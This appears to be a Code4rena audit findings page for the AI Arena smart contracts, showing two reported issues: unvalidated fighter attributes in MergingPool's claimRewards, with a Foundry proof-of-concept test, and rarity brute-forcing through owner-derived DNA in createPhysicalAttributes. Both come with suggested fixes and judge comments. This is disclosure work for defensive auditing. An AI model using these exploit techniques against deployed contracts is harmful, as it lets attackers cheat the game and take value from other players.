Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 218/283
Findings: 2
Award: $1.92
π Selected for report: 0
π Solo Findings: 0
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139-L167
An attacker can call the function claimRewards
in the contract MergingPool with arbitrary parameters.
In the execution path: claimRewards -> _fighterFarmInstance.mintFromMergingPool -> __createNewFighter
we can see that the attributes element
and weight
can be user controlled, enabling an attacker to send a very low or very high value, thus breaking the logic of the game.
As the documentation mentions, we have a small number of elements, and each element corresponds to an integer value. But an attacker can assign a value that is not linked to any element, benefiting themself.
In the weight parameter we can assign a value of zero or a value than 100, which should be the limit.
Add the following test case to MerginPool.t.sol
file:
function testAttackFighterParams() public { _mintFromMergingPool(_ownerAddress); _mintFromMergingPool(_DELEGATED_ADDRESS); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); uint256[] memory _winners = new uint256[](2); _winners[0] = 0; _winners[1] = 1; // winners of roundId 0 are picked _mergingPoolContract.pickWinner(_winners); assertEq(_mergingPoolContract.isSelectionComplete(0), true); assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true); // winner matches ownerOf tokenId assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true); string[] memory _modelURIs = new string[](2); _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m"; string[] memory _modelTypes = new string[](2); _modelTypes[0] = "original"; _modelTypes[1] = "original"; uint256[2][] memory _customAttributes = new uint256[2][](2); _customAttributes[0][0] = uint256(1); _customAttributes[0][1] = uint256(0); _customAttributes[1][0] = uint256(100000000000); _customAttributes[1][1] = uint256(100000000000); // winners of roundId 1 are picked _mergingPoolContract.pickWinner(_winners); // winner claims rewards for previous roundIds _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); }
Run with the command:
forge test --mt testAttackFighterParams -vvvv
vscode
Validate the attributes with lower and upper bound according to the project's documentation.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T09:11:44Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T09:11:53Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:31:11Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0rpse, 0xBinChook, 0xDetermination, 0xGreyWolf, 0xLogos, 0xWallSecurity, 0xaghas, 0xgrbr, 0xkaju, 0xlyov, AlexCzm, BARW, Blank_Space, BoRonGod, Daniel526, DanielArmstrong, Draiakoo, FloatingPragma, Giorgio, Greed, Jorgect, Matue, McToady, MidgarAudits, Nyxaris, PUSH0, PedroZurdo, Pelz, PoeAudits, Silvermist, SpicyMeatball, Tekken, Tricko, Tumelo_Crypto, VAD37, WoolCentaur, Zac, alexzoid, andywer, aslanbek, bgsmallerbear, cats, d3e4, desaperh, dimulski, dutra, erosjohn, evmboi32, favelanky, fnanni, forkforkdog, gesha17, givn, grearlake, haxatron, honey-k12, iamandreiski, immeas, juancito, kaveyjoe, ke1caM, kiqo, klau5, korok, lil_eth, lsaudit, n0kto, ni8mare, niser93, pa6kuda, peanuts, peter, shaka, sl1, soliditywala, solmaxis69, t0x1c, tallo, thank_you, tpiliposian, visualbits, vnavascues, web3pwn, yotov721
0.0352 USDC - $0.04
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L107
The function AiArenaHelper::createPhysicalAttributes
is responsible for calculating the rarity of the fighter's physical attributes.
function createPhysicalAttributes( uint256 dna, uint8 generation, uint8 iconsType, bool dendroidBool ) external view returns (FighterOps.FighterPhysicalAttributes memory) { if (dendroidBool) { return FighterOps.FighterPhysicalAttributes(99, 99, 99, 99, 99, 99); } else { uint256[] memory finalAttributeProbabilityIndexes = new uint[](attributes.length); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { if ( i == 0 && iconsType == 2 || // Custom icons head (beta helmet) i == 1 && iconsType > 0 || // Custom icons eyes (red diamond) i == 4 && iconsType == 3 // Custom icons hands (bowling ball) ) { finalAttributeProbabilityIndexes[i] = 50; } else { uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100; uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]); finalAttributeProbabilityIndexes[i] = attributeIndex; } } return FighterOps.FighterPhysicalAttributes( finalAttributeProbabilityIndexes[0], finalAttributeProbabilityIndexes[1], finalAttributeProbabilityIndexes[2], finalAttributeProbabilityIndexes[3], finalAttributeProbabilityIndexes[4], finalAttributeProbabilityIndexes[5] ); } }
In line 107, we can see that rarity is calculated according to dna, and dna is equal to the address of the fighter's owner.
With this design, users can write a script to generate random addresses until reaching an address that corresponds to a rarity well above the average of the users, gaining an advantage on selling this fighters.
Create new addresses and calculate the rarity using the createPhysicalAttributes
function, repeat until you find a satisfactory rarity.
When you find it, you can create the fighter using the MerginPool::claimRewards
or the FighterFarm::redeemMintPass
functions.
vscode
Add more invariants to the rarity calculation, using factors that cannot be bruteforced by users.
Other
#0 - c4-pre-sort
2024-02-24T02:05:14Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-24T02:05:27Z
raymondfam marked the issue as duplicate of #53
#2 - c4-judge
2024-03-06T03:49:26Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-06T03:54:14Z
HickupHH3 marked the issue as satisfactory
#4 - c4-judge
2024-03-15T02:10:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-22T04:23:13Z
HickupHH3 marked the issue as duplicate of #376